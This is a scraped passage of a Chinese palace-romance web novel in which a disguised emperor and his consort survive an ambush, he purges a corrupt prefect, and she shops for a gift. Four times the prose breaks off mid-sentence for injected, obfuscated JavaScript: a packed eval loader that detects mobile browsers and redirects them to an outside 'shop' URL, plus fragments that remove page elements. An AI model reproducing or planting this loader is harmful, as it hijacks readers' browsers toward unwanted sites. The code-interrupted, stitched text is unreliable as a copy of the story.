至此成就一桩佳话,踩鱼河这个名字就传开了。 焉闻玉的小嘴合拢不上了,扭头看向那宽广河面,成千上万的鱼儿簇拥着是何景象?以鱼儿的身躯托起一个人的重量? 她惊奇不已,一旁的魏鄞修淡淡道:“是否成千上万尚未可知,这地形倒是适合埋伏。” 他金口一开,好巧不巧的,下一瞬就应验了—— ‘咻咻’两道破空声,短促而有力,来自密林之中,毫无预兆! 亲卫指挥使方岳反应迅速,立即拔刀高喝一声:“有匪徒!保护老爷!” 亲卫队伍训练有素,眨眼间便摆出攻防兼备的阵型,把马车牢牢围在正中心。 然而不仅密林里藏了人,河里水草遮掩下还躲着不少绿衣大汉,衣裳颜色和草木相近,伪装度极高。 他们如同一群水鬼,纷纷爬上了岸,与密林两边夹击。 焉闻玉心头猛然一跳,匪徒?什么匪徒,虽然他们装作普通商贾出行,可有那么巧么?! 便见魏鄞修镇定自若,拿起他那把黑沉沉的佩剑,肃杀之气,迎面而来。 焉闻玉就是再糊涂,也知道他们遭遇行刺了。 这是一场蓄意刺杀帝王的埋伏! “下车。”魏鄞修一把拽起她。 小姑娘细白的指尖发凉,下意识紧紧反握住他的,仿佛抓住了救命稻草。 “在车上不安全么?”好歹有个抵挡。 “车内狭小,只挡得住一时。”对方既然有备而来,自是人手充足,也不会单单只使用弓箭,迟早会形成围困之势。 倘若备有火箭,点燃马车,岂不是瓮中捉鳖。 焉闻玉哪里经历过这些,她全听魏鄞修的,脑子里麻乱一团,不过还是提醒道:“官道后面或许是竹林。” “你如何得知?”魏鄞修低头看她一眼。 焉闻玉一抿唇:“因为渔夫不打渔了,以竹篾编织为生,书上还说此地房屋用具多见竹子。” 竹子坚韧,可做许多用途,附近定是广栽竹林的。 “就去竹林。” 魏鄞修一手提剑,率先跃下马车,外面早已砍杀声一片。 他回身长臂一揽,单手就卷住了焉闻玉的腰肢抱在怀里,二人显著的体型差,倒是极为方便他的动作,看上去不费吹灰之力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186638|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 焉闻玉险些惊呼出声,两手攀在他肩膀上。 不远处亮到晃眼的刀剑两相挥舞,所过之处带出血淋淋的鲜红液体。 声音,气味,从四面八方包围过来。 刺客目的明确,就是突破防线,不断朝着魏鄞修靠近。 亲卫队悍勇,在方岳的带领下能够以一敌几,他们且战且退,离开道旁进入密林。 后头果然是一大片竹子,有了它们的阻碍,刺客很难用人数优势一拥而上。 焉闻玉跟着魏鄞修一落地,艰险随之而来,不仅刀剑无眼,还有人躲在竹丛后面朝她放冷箭! 那支箭几乎是擦着她耳畔飞过去的,那么近那么响,她才后知后觉的意识到,刺客的目标可能不止一人。 那一瞬,焉闻玉的冷汗都冒出来了,她暴露在利箭之下,不知道有多少杀手正在暗中瞄准她。 随便一支冰冷锋利的箭镞,都能穿透她,带走她的性命。 所有人的注意力都在皇帝身上,她是不是会被趁乱杀死? 焉闻玉手足无措,只恨自己不能眼观六路耳听八方,神力降临,将一切危险都躲避过去。 ‘咻!’ 又一支利箭射来,魏鄞修长剑出鞘,将它挡开。 不止是他,有几人在暗暗留意对付焉闻玉的杀招。 这群人有组织有预谋,几次没能得手后,发现了不对劲。 拦路刺杀皇帝困难重重,即便事先埋伏也很难得手,方岳带的可是一群高手。 但是,他们本以为,要趁乱杀死一个妃子轻而易举,谁知竟然都被拦下了! 不仅如此,没能抓住时机,立即迎来了反扑。 晗啸带着一群人从后方出现,把这群刺客两面夹击,包剿了个干净。 为首的绿衣大汉,只来得及朝上空发一枚烟雾弹,在被擒拿之前,迅速抹脖子自戕。 死士明知有来无回,一经失手,立即赴死。 眨眼间,周围一圈就倒了一地尸体,浓重的血腥味弥漫竹林里。 晗啸眼疾手快,拦住了两人,一个手刀狠狠劈晕,留下活口日后审讯。 他们出现及时,撤退也快,化解了危机立即消失在林中。 方岳只当没瞧见晗啸,吩咐手底下收拾现场烂摊子。 “老爷夫人没事吧?” 魏鄞修长剑淌血,他轻轻一甩,道:“寻个地方稍作休整。” 方岳颔首道:“附近探查到一个小竹楼,正好歇个脚。” 魏鄞修扭头看焉闻玉,她手脚俱在,小脸煞白,如同受惊的小鹿,头一回直面血腥与死亡。 “能自己走?”他挑眉相问。 也不等她回答,索性收起佩剑,把人拦腰抱起。 “我能,我能自己走。” 焉闻玉推了推他,没推动,他纹丝不动如一堵肉墙,禁锢着她。 “老爷,放我下来……”焉闻玉小嗓音细细的,吐词却很清楚,这一切,她不是早就有心理准备了么? 不过从预想变成现实罢了。 皇帝的敌人到底是谁呢,他们发现陛下加派人手保护她,是否更加认定她的存在‘很有价值’? 思及此,焉闻玉无法不怕,眼眶泛红。 魏鄞修果然不会让她轻易死,她也不需要多能干,一步一步的,就会成为那个称职的靶子。 他说她什么都不必做,原来是这个意思。 14.他听懂了 魏鄞修亲手抱着焉闻玉,去到竹林里的小竹楼。 这座小竹楼颇为别致,通体竹子建成,它看上去荒废已久,但被风干后仍然很结实。 屋里一应用具,桌椅台柜皆是竹子所做,倒是符合游志里头的描述。 在旁人看来,焉闻玉是被吓坏了,惹得陛下心疼怜惜,极尽体贴。 她不想说话,也不想在人前哭鼻子,那太丢脸了。 她安安静静的,被安置到一个干净的地方。 魏鄞修放下她,低声问道:“怕了?” 明知故问,焉闻玉不做声,微垂下脑袋。 魏鄞修身上有血腥气,他衣不染尘,洁净如初,但是手中长剑饮了不少鲜血。 吹毛断发削铁如泥,方才生生斩断了一条大粗胳膊。 焉闻玉眼见着他一连杀了好几个人,如此驾轻就熟,想必武学造诣不低。 他们都很厉害,比她厉害,杀伐果断,也早已见惯了生死。 每一个事件的背后都会有好些人死去,他们就像那一块块砖石,铺垫成为巍峨的皇城基石。 她会是其中的一块,没什么例外,在该死的时候赴死。 “我说过保你不死,夫人莫不是忘了。”魏鄞修垂眸,端详她糜红的眼尾,冷声道:“不许哭。” “我没哭。”她在忍着呢! 他似乎并不满意,又添上一句:“还能保你不伤。” 这已经是极大的恩典,总该宽心了吧? 焉闻玉却道:“我不信,老爷此刻不是皇帝,说的都不作数。” 哪有靶子不中箭的,没被打成筛子就不错了,何必拿话哄她。 魏鄞修看了她片刻,唇角微沉:“那便不作数。” 他旋身离去,焉闻玉一动不动,只当自己是一块石头。 现场较为慌乱的就数染菊了,她一个小宫女,何曾见过这等场面,幸而有惊无险。 跟着侍从一起架起火堆烧水烹茶,先捧一杯给焉闻玉压压惊。 嘴皮子都在哆嗦:“夫人、夫人没事吧?” 焉闻玉扭头看她,发现这里还有一个正常人,与自己一样不熟练,会心生恐惧。 她转手把热茶塞回染菊手里,把人拉着坐下,道:“我没事,你也歇着。” 暂时还不是她的死期,思虑也是枉然。 ******* 一行人原地休整,马车以及行李上的血迹需要擦洗一番,林子里那群尸体也要搜刮检查,再挖坑掩埋。 曝尸荒野,只怕要吓死途经的赶路人。 这场刺杀,本就在魏鄞修预料之内。 即便不为了取他性命,也会适时出手试探一番。 此时善后是忙而不乱,留给方岳的任务就是监管好那两个死士,看能不能从嘴里挖出点有用的东西。 至于其他……照常进行便是。 魏鄞修让人把他被行刺的消息第一时间带回京城,命晗啸严密监察文武百官,看他们对此事作何反应。 刺探从来都是相互的,只要有所行动,他们自以为隐秘的枢纽,说不准什么时候就暴露了。 无声无息的留下痕迹。 一杯热茶下肚,就要重新出发了。 趁着日头尚好尽快上路,赶在入夜之前抵达驿站,免去露宿荒野的麻烦。 再次回到马车里,焉闻玉又要与魏鄞修同处一个狭小空间内。 她三缄其口,状若乖巧,也没心思看书,安静坐在一侧,打量车窗外缓缓划过的风景。 而魏鄞修拿着一方白帕,动作慢条斯理的擦拭剑刃。 两人相安无事,只是这份静谧并不怎么舒适。 沿着踩鱼河走出几里地,一直到暮色降临,车队都没停下来。 到底是被那群刺客耽误了时辰,没能在天黑前赶到驿站,迟了约有半个多时辰。 踏着月色抵达,好在不算太晚,客栈的房间还很充足,多添点银钱,新鲜的瓜果肉菜都能叫他们准备。 焉闻玉用了一些,急着回屋沐浴更衣。 出来至今,日日与魏鄞修同屋,虽然他向来住最宽敞的屋子,可再怎么隔出里间外间,洗澡什么的都有点不方便。 毕竟他们不是那种坦然相对的关系。 今日受了惊又出了汗,是非要沐浴不可。 焉闻玉捡着饭后空隙,立即带上染菊回屋梳洗。 染菊使了铜板,催着客栈女掌柜亲自给送热水进屋,妥妥当当。 掌柜的接待过不少贵客,知道一些女眷讲究,便是提热水都不给小厮入内。 她倒有一把子力气,来回提好几桶不在话下,中间还能进来添一回热水。 今天这位夫人着实貌美,她进屋添水,一下就被那屏风后的光洁玉背给晃了眼。 “夫人实属天香国色。”掌柜的忍不住掩唇笑道:“老爷好福气。” 焉闻玉回头看她:“你既夸我,为何不说我好福气。” 女掌柜摇摇头,道:“夫人当我说客套话不成?这等神仙玉骨,堪称名器。” 她一边说着,眼波流转,在焉闻玉和染菊平静的脸上扫过一圈,叹口气道:“你们却是不懂。” 正因为不懂,才没什么反应,就连愤怒惊奇都无。 掌柜的颇有几分寂寥神色,她曾经是风尘女,因为不想接客铆足劲头学习,如愿做了青楼的教习姑姑。 可惜没多久丈夫替她赎身从良,学了一身本事无处发挥。 她倒不是惋惜过去,只是有些自得自己看人的本事。 “添完热水就出去,做什么一直盯着我家夫人。”染菊觉得她怪怪的,出言赶人。 “自然是因为夫人好看,名器与美貌兼得。”掌柜的自认阅美无数,也不得不承认,这是无上珍品。 名器稀罕,堪称奇品,之所以不算珍品,因为有可能这个部件长在无盐女甚至臭男人身上。 而现在这个,一身莹润羊脂玉,水汽氤氲中仿佛吸了天地精华,无比惹人注目,恨不能伸手触碰才好。只怕是看了挪不开眼,碰了就丢不开手。 偏偏生得一张娇嫩纯然的脸庞,那双黑葡萄眼,简直叫人心底发软。 两相中和,才是绝妙之处,是为珍品。 皮肉是最容易发现的名器,露其表,根本藏不住。 “那是什么意思?”焉闻玉留意到她的用词。 掌柜的笑着冲她一眨眼:“夸你厉害的意思。” “我?”焉闻玉从来不知,厉害这个形容有一天能落在她身上。 尤其是今天,她刚经历了一场无能为力的被刺杀。 “名器是何物?” “名器就是你呀!” 掌柜的来了兴致,准备好好替她解惑一番,染菊看不下去了,伸手把人往外推。 “胡言乱语,莫要打扰夫人沐浴。”添个水还赖着不走了。 焉闻玉任由染菊把女掌柜给赶出去,她时间不多,要在魏鄞修回房前结束。 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200814|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然话没听明白,她也不是很感兴趣,但依然得到了一丝安慰。 听上去说她是厉害的武器?现在的她确实非常迫切的渴望拥有一份力量,一份属于她自己的能力。 焉闻玉趴在浴桶上异想天开,假如自己天生神力,谁还能欺负她?她一手把魏鄞修提起来扔出去! 沐浴过后,魏鄞修果然回来了。 他在隔壁布置了书房,每天都要抽空处理一些紧急信件,涉及政务,焉闻玉都不往前凑。 今晚,他似乎准备早点就寝,才戌时三刻就进入内室。 焉闻玉站起来,去替他宽衣。 魏鄞修握住了她的手腕,制止她的动作:“你一下午不与朕说话,是在怄气?” 焉闻玉抬头看他,否认道:“臣妾并未如此。” 他面无表情看着她,微微收紧手心,她立即便秀眉微蹙,感觉到疼,瞧着娇娇弱弱,骨子里倔强得很。 “祝妃真是越发大胆了。” 焉闻玉被他捏着手,也不挣扎,只辩解道:“臣妾并无使小性子。” 因为自知没有资格。 她只是沉默而已,沉默都不可以了么,她不知道要说些什么。 是他说的,她可以什么都不做。 魏鄞修惯来深不可测,神色喜怒难辨,直让人犯怵。 他缓缓松了手,道:“伺候朕沐浴。” 焉闻玉一愣,抬眸看他。 “有什么问题么?此乃祝妃分内之事。”他自己动手,褪去墨色外袍。 出行从简没有带公公,唯一一个宫女就是染菊了,其余皆是刀剑随身的亲卫。 焉闻玉就是伺候皇帝的那个人。 确实算是她‘分内之事’。 热水被抬了进来,女掌柜又过来了,哎哟打趣道:“早知方才等等老爷,何苦让我多赚一回热水钱!” 鸳鸯浴多好啊,夫妻二人还分两次送水。 这郎才女貌的,多好看呢! 掌柜的一边指挥小伙计干活,一边瞧乐子,扭头却见焉闻玉眉间带愁。 “夫人这是怎么了?” 有这样高大俊俏的郎君,明明很般配,然而愣是没看出恩爱模样,莫不是吵嘴了? 女掌柜把焉闻玉拉到一边,低声笑道:“方才我忍不住多嘴,实是见不得身揣异宝不自知,我憋不住呀!以你的能耐,什么男人搞不定。” 这床头吵架床尾和,容易得很! 焉闻玉一头雾水,也来不及追问,送热水的几人就被打发出去了。 “过来。”魏鄞修朝她一招手,如同唤一只小狗。 焉闻玉百般不情愿,慢吞吞挪了过去。 “她跟你说什么了?”魏鄞修问道。 焉闻玉摇摇头:“不知道。” 这个回答落魏鄞修耳朵里,就是她还在赌气,故意不配合。他伸手,握住了她精巧的下颚,托在掌心里:“若是不想好好说话,朕缝了你的嘴。” “我……”焉闻玉又是委屈又是气恼,一把拍掉他的手。 “臣妾不说话不行,回不知道也不行,陛下究竟想要如何?掌柜的说我是名器很厉害,能打败你,你是不是要去抓她问罪?!” 可真是能耐,妇人之言都要斤斤计较了! 焉闻玉气得眼皮通红,几欲落泪,一时想着不如被发落处死算了,反正也是朝不保夕,担惊受怕。 魏鄞修的反应却很古怪:“她说你是什么?” 他听懂了。 15.抵达 焉闻玉不知发生了何事,魏鄞修也不洗澡了,开门出去问话。 方岳等人扮做寻常护卫,然身上的肃杀之气掩盖不住,掌柜的见势不对,自知失言,立即求饶道歉。 她从良已久,有时候就是管不住嘴,在贵客面前胡言乱语,有的讲究人家可听不得这些个污言秽语。 魏鄞修没有拿她怎么样,扭头看向一旁的小宫女染菊,面无表情。 染菊此刻也没搞清楚状况,吓得脸色发白,立即跪了下来:“老爷,奴婢、奴婢知错……” 焉闻玉哪能由着他发作自己身边人,连忙跟了出来。 她尚未开口,魏鄞修已经转身回屋了:“是训德的错。” 当初册封妃位,给了朝悦宫,四个宫女是训德安排的,在各自领域皆算能干。 那时还有个年长的丁嬷嬷在,后来丁嬷嬷死了,也没给多安排一位过去。 焉闻玉就像一张白纸,而染菊自幼入宫做宫女,也不曾接触过一些浑话,两人稀里糊涂的,愣是没发现女掌柜说了些什么。 魏鄞修日理万机,自然不会去管朝悦宫这些小事,所以是训德的失职。 训德远在皇城,就这么被记上一笔。 染菊逃过一劫,心有余悸:“奴婢还以为要挨罚了。” 焉闻玉把她扶起来,道:“是我连累了你,他今日就想找我茬。” “夫人别这么说,快进去吧……”染菊眼瞅着陛下心情不好,哪敢在外头窃窃私语。 焉闻玉万分不想进去,出宫以来跟魏鄞修日夜相对,她连个单独躲起来哭的地方都没有。 房间不是她一人的,床铺也不是。 如今还要伺候男人洗澡…… 焉闻玉憋了一肚子的话,很是难受,刚转过内室屏风,就被堵得说不出口。 魏鄞修已经自行解了衣袍,泡在桶里,精壮的臂膀就那么直溜溜暴露在她眼前。 “需要朕教你怎么做?”他神色清冷,丢了一块帕子给她。 焉闻玉活像个被刁难的小媳妇,拿着帕子磨磨蹭蹭来到浴桶旁,沾了水替他擦背。 她低下头,动作生疏又专注,确保自己每一次施力都隔着软布,指尖不碰着他半寸肌肤。 好不容易擦完了,来到正面,肌肉紧结的胸膛饱满而隆起,腰腹处垒块分明,再往下…… 魏鄞修突然一打水花,溅起的水珠落到她脸上:“你在看什么?” 小姑娘虽然有些无措,但审视他的目光是不是太认真了? 焉闻玉抿着唇瓣不说话,乍一见与女子截然不同的身躯,所以忍不住多看了两眼。 这不是很正常么,她又不是瞎子。 魏鄞修原以为她会羞得抬不起头,这会儿发现她所抗拒的是‘伺候他’这件事,而非会瞧见他赤i身i裸ii体。 “算了,你出去。”魏鄞修的下半截藏着不露面,决定不给她见识男女有别的机会。 如今他万分怀疑,她会非常仔细地观察那差异之处。 焉闻玉是一个命令一个动作,这就放下软帕往外走。 临出去前,又听魏鄞修道:“若再与朕闹脾气,便罚你日日伺候朕。” “什么?” 她眼睛都睁大了,心中多少有些不忿:“陛下凭何断言我在闹脾气?” 不想说话也不成,是要天天缠着他讲个不停么? 焉闻玉气呼呼的出去了,万分确定魏鄞修就是故意不让她好过,一直找茬。 这人怎么能这样过分呢? 及至就寝时间,她更加确信这一点。 本就不甚宽敞的客栈床榻,他一人就能睡去一大半,焉闻玉被逼到了墙角,娇娇小小的一团。 这下知道为何让她睡里头了,要是在外侧,一准能掉下去。 魏鄞修一声不吭的等着,等她睡着了,自己就会翻个身,滚到他怀里来窝着。 她入睡后不如白日乖巧,手脚的小动作不少。 睫毛卷翘,红唇微嘟,委委屈屈的,似乎在睡梦里都有诸多不满。 他知道焉闻玉在企图自救,便是一只小蚂蚁落了水,都懂得挣扎求生。 但就是无比笨拙,好像从来没有考虑过攀附他,去获取一条最便捷的生路。 ******* 隔日,女掌柜特意送来几分小馄饨赔礼道歉,很是有心。 焉闻玉才从染菊那里听闻她的出身,原来名器不是正经小娘子该知道的词汇。 她知晓后,倒没有感觉被冒犯,掌柜的并无恶意,许是以往的习惯使然。 人在年幼时养成的习惯,当真很难改掉。 一行人继续出发,前方不远就是泗州地界了。 一路上不见雨水,路面干燥,山林良田无恙,也没有难民结伴而行。 虽还未抵达泗州,但怎么看都不像是遭遇过洪水汛涝的迹象,更别说随之而来的疫病灾情。 显然,纸包不住火,这个弥天大谎随着帝王亲临,就要被揭穿了。 那伙人估计也是慌了,趁这几日功夫绞尽脑汁想对策。 他们推出一个顶罪的卢县令,被层层问责,折子一路递到魏鄞修手上。 说此人贪赃枉法,辖地连下几天雨便想出这么个敛财手段,而上峰有失察之责,最终导致了江东谎报汛情。 魏鄞修半个字都不想看,粗略扫一眼就丢开了。 方岳伸手接过,看完忍不住一乐:“把个卢县令下了大狱,他们不会以为就万事大吉了吧?” 想得倒美!陛下亲自来江东,可不会轻巧揭过! 魏鄞修就是来算账的,山高皇帝远,一些瞎地的官员过得太滋润,如同土皇帝,不知上头有天。 权势动人心,皇城里有那么些人在蠢蠢欲动,四处撩拨,谁知私底下有多少往来,又往来了多久? 既然目的明确,魏鄞修雷厉风行,一踏入泗州地界,便调动兵马,将郡守府邸围了个严实,二话不说就把毕彦常给抓了。 这叫一群准备好各种说辞的官员慌了神,纷纷劝谏。 没想到皇帝一来,不问罪不宣名,竟是直接动手! 常人都是先礼后兵,更要师出有名,即便对下惩治,也该有个站得住脚的说辞,方能服众。 魏鄞修却是不管这些,他当真要把暴君之名给坐实了,摆出任意妄为的架势,不讲道理,直接抓人。 毕彦常可是大将军娄龙山的女婿,可谓是丝毫没给留脸面。 魏鄞修住进了郡守府邸,方岳领着人到处翻账簿库房,简直与抄家无异。 毕家女眷被纷纷禁足在各自院内,仆役也不得四下随意走动,吓坏了一群人。 不过他们也不是没有对策,第二天一早,毕彦常那年事已高的母亲,就带着儿媳跑去郡守衙门外面当中跪着哭诉。 说陛下受到奸逆小人蒙蔽挑唆,无缘无故就抓她儿落狱,可怜她儿媳妇,乃有功将领娄家嫡女,皇帝这等做法,会令多少有功将士心寒!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210896|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毕老太太当街唱大戏似的,又哭又喊,跪地不起。 焉闻玉听见动静,躲在大门内侧偷看,街上越来越多百姓被吸引过来,议论纷纷。 上了年纪之人容易招来同情,且又是个老妇人,她都要为魏鄞修捏把汗,即便贵为九五至尊,须知人言可畏,唾沫就能淹死他。 魏鄞修却是半点都不虚,他有备而来,早就命令晗啸派了先遣队过来调查,搜寻了不少证据。 直接写一份告示张贴出去,做了个算术题给百姓看。 谎报汛情减免两年赋税,还要朝廷拨款赈灾,泗州的农户们可是如数上交的,这中间一来一回便是上百万两白银,毕彦常的胃口有多大? 贪官污吏人人喊打,百姓们一见告示,任由老太太哭得再凄惨也没用。 今年泗州确实多雨水,前半个月刚下完,田地粮食的收成难免受到一些影响,但远不及灾情的程度。 毕家老夫人还是不肯起来,咬死她儿子不知情被冤枉,就算是皇帝,就能不经审问拿人发落吗?这是以权压人! 其他涉事者见势不对,纷纷三缄其口,不敢随意站出来求饶。 皇帝初来乍到,能那么快拿出证据,还不够说明问题么? 他早就注意到江东了啊! 这些人颇为慌张,密信不断,向娄龙山大将军求助。 本以为陛下多少应该顾忌一下手握兵权的大将军,谁知,方岳查抄毕家翻出账簿,魏鄞修一声令下,要斩毕彦常! 太快了,这一切进展透露着不同寻常,毕彦常为官多年,他又不是傻子,难道还能把账簿大咧咧藏在书房?一两天就给翻出来了? 可见其中有猫腻啊! 江东官员全都吓破了胆,只有晗啸大叹陛下英明。 没人知道,陛下死而复生没几天,就传唤了他,命他派人盯着江东毕彦常。 否则此行哪有这般顺利,看上去轻而易举,全然是因为趁其不备,早就暗中调查了。 民间都说大难不死必有后福,这句话在天子身上尤其灵验,如有神助! ******* 焉闻玉住在郡守家里,听了不少后宅热闹。 毕彦常的妻妾儿女一大家子,失去主心骨,有哭哭啼啼的,也有往外偷摸送财物的,大难临头各自飞。 还有求到她跟前来,捧着满满一匣子金银珠宝,请她代为求情。 焉闻玉头一次被人‘贿赂’,那感觉还挺新奇。 不过她当然不会多管闲事,且不说有没这能耐,即便是有,也不会为任何一个贪官开口。 身居高位手握实权,不为百姓谋福祉,尽想着自己敛财了,这郡守府雕梁画栋金碧辉煌,都是民脂民膏。 这边焉闻玉刚把人给拒了,那边染菊一路小跑着往后院来。 “娘娘快随我来!那个芸姨娘使了美人计,要把她一对女儿献给陛下!简直是没把娘娘放在眼里!” 一家之主落难,最慌的是妾室和庶出儿女,府中主母是娄氏女,娄龙山肯定能保住闺女外孙,那他们怎么办? 芸姨娘一面担忧,一面又觉得机会来了,这是他们仅有的能接触到圣上的机会。 聪明人当然是立即付诸行动,机不可失。 焉闻玉被拉着过去时,还未进门,便见堂内魏鄞修端坐主位,两个含羞带怯的美人一左一右跪在他脚边。 匍匐在地,柔媚多姿。 毕家庶出的姐妹花自幼习舞,正想献舞一曲。 16.上街 魏鄞修面无表情的拒绝了她们献舞的提议。 芸姨娘显然是异想天开,京城里什么样的美人没有?出身高贵,容貌姣好者比比皆是,可后宫空虚。 魏鄞修的心思根本不在这上头。 芸姨娘连并姐妹花一起被赶了出去,绝了她们的念想。 染菊这才松一口气,板着脸上前去:“你们好大的胆子,竟然越过祝妃娘娘自荐枕席!” 芸姨娘不觉难堪,只是惧怕,连忙带着女儿磕头求饶:“妾身哪敢开罪娘娘,谁人不知娘娘独得圣宠,无人能及……” 她说了一箩筐的好话,焉闻玉没心思应付,道:“下去吧。” 芸姨娘如蒙大赦,立即带着两个闺女跑了,生怕被皇帝的宠妃给记恨上。 染菊不由摇头,低声道:“娘娘可别太好脾气,往后这种事情只多不少。” “这也正是我要与你说的,你也知道只多不少,不该我们过问的就别问。”焉闻玉胆小得很,谁都不想招惹。 哪个管得着皇帝身边有多少妃子。 “可是……”染菊很难坐视不理:“他们个个都要献美……” “他不会收。”焉闻玉如此猜测。 倘若魏鄞修身边有很多女人,她的存在就不会那么招人眼了。 染菊还是不放心,苦口婆心道:“陛下钟情于娘娘,但咱们也不得不防。” 什么钟情,焉闻玉一个字都不想听,“我尚且自顾不暇,没能耐管旁人。染菊,莫要越矩。” “……是。” 魏鄞修眼尖得很,早就看见了焉闻玉,他目光凉飕飕的,示意她进来。 正巧,焉闻玉有事要请示他。 她走了进去,魏鄞修一抬眼皮问道:“在门口嘀咕什么?” “只是恰好撞见了陛下的美事。”焉闻玉一脸无辜,主动上前拿起桌面的茶壶给他添茶水,“陛下近日繁忙,臣妾也帮不上什忙……能上街去走走么?” “你想出门?”他微微挑眉。 “对。”焉闻玉点头,手指无意识的来回搓弄瓷器釉面。 大晟的民风开化,并不勒令女子必须大门不出二门不迈。 她以前在嘉邑县,偶尔会跟冉月棠赏灯游船,女子成婚嫁作人妇,同样可以上街游玩。 只是进了皇宫又不一样,层层大门如同枷锁,出去一躺兴师动众,她之前都不敢提。 魏鄞修不置可否,深邃的墨瞳对上她水润双眸,那样专注地望着他,等待他准许。 “你且说说,朕为何要允你出去?” 焉闻玉放下手中茶壶,想了想,迟疑道:“臣妾……去买礼物送给陛下,好不好?” “你当是在哄三岁稚儿?”魏鄞修轻嗤一声,一手执起茶盏,道:“朕破例允你一回,瞧瞧祝妃能买回什么来。” 有他这句话,焉闻玉总算放心了,嘴角漾开一抹盈盈浅笑:“多谢陛下。” 他手中握着白瓷杯,眸光微动,小姑娘笑起来,明媚娇艳含苞待放。 这是第一次看到她笑,她似乎……并不爱笑。 ******* 焉闻玉带了好些金饼金叶子出来,可惜没派上用场。 魏鄞修让方岳派人护她上街,顺道还送来五个金马蹄并一袋碎银两。 不肖特意询问,这是给她出门的花销。 染菊接过沉甸甸的钱袋子,乐得眉开眼笑:“陛下待娘娘真好!” “他富有天下,最不缺的就是银钱。”焉闻玉没忘记,要给魏鄞修捎带一份礼物。 他这算是自己花钱给自己买礼物么?还怕预算低了,足足五个金马蹄。 泗州不如京城繁华,但鱼米之乡百姓富庶,拿嘉邑县来比就很明显了,街道宽敞车水马龙,游人如织。 许是此地炎热,一眼望去扇铺比比皆是,各式各样,极为精美。 焉闻玉驻足观赏,不仅扇形扇骨材质有所不同,这扇面的绣活更加五花八门。 曾经她亲手制扇送给母亲,倒是了解过一些。 染菊同样大开眼界,惊叹道:“奴婢也算见过不少好东西,还是初次瞧见这么多种扇子。” 焉闻玉拿起一柄葫芦宝扇,碧玉柄骨,织锦镶嵌,寓意福禄吉祥。 她道:“你给听兰她们也挑一个,人手有份。” 染菊双眼一亮:“多谢夫人赏赐!” 女子团扇多以绫绢缂丝刺绣为主,芭蕉式桐叶式花瓣形,挑花了眼。 而男子多用折扇,纸面字画韵味悠长。 焉闻玉没有乱挑,给魏鄞修买的,字画若是不对容易惹麻烦。 她略一思索,选了个象牙扇,雕工精致层层叠叠,玉白色不出错,也没有金银宝石那样耀眼张扬。 主要是它的价位,比较衬得起帝王身份,尊贵尊贵,给贵的没毛病,免得回去后还可能被挑刺。 泗州有不一样的风土人情,焉闻玉带着染菊一路走下来,买了不少东西。 她却没有预想的那般开怀。 一开始是奔着花银子来的,想去挥霍一通,然而当真如愿出门后,又兴味减半。 因为她无人相约,无人共聚,形单影只。 焉闻玉心里有牵挂,她想联络知夏和冉月棠,也想给焉家寄去银钱一解燃眉之急。 之前她不敢开口,她没有人手能替她办事,宫里又那么多眼睛盯着,任何举动都要经过陛下和太后首肯。 可亲眼见识过一场刺杀,她又有勇气去想了。 连死亡都敢面对,还有什么好怕的。 乖乖听话又有什么用,倘若她死了,这些私事只会是她一人的遗憾。 倒不如央求魏鄞修划拨一个人给她跑腿。 焉闻玉有了这个想法,决定再买个物件向他示好。 她进入一家首饰铺子,准备挑个玉佩或是剑穗,才进门就听见店内有人正在谈论毕彦常一事。 “……圣上此番雷厉风行,是要动真格了……” 细碎之语,并没有避忌旁人。 焉闻玉抬头看了一眼,二人做书生打扮,应是当地学子,对毕家的情况知道不少。 “大公子婚期在即,发生这等变故,那胡家小姐岂不要另许他人了?” 另一蓝衫书生摇头道:“身家性命都顾不上了,谁还管姻亲呢!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220065|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“可大公子是娄龙山亲外孙,娄大将军位高权重,哪会坐视不理……” “李兄糊涂,”蓝衫书生晃着手中扇子道:“你瞧圣上行事,像是准许娄龙山插手的么?” 帝王亲临,官员们早已收到风声,百姓们却不知道。 于他们而言一切很突然,皇帝出现在泗州,发落了郡守毕大人,揭露了他的罪证,还要问斩! 按照正常流程,这连番下来少说也要半个月,然而这才几天。 可见圣上是铁了心要查办此人。 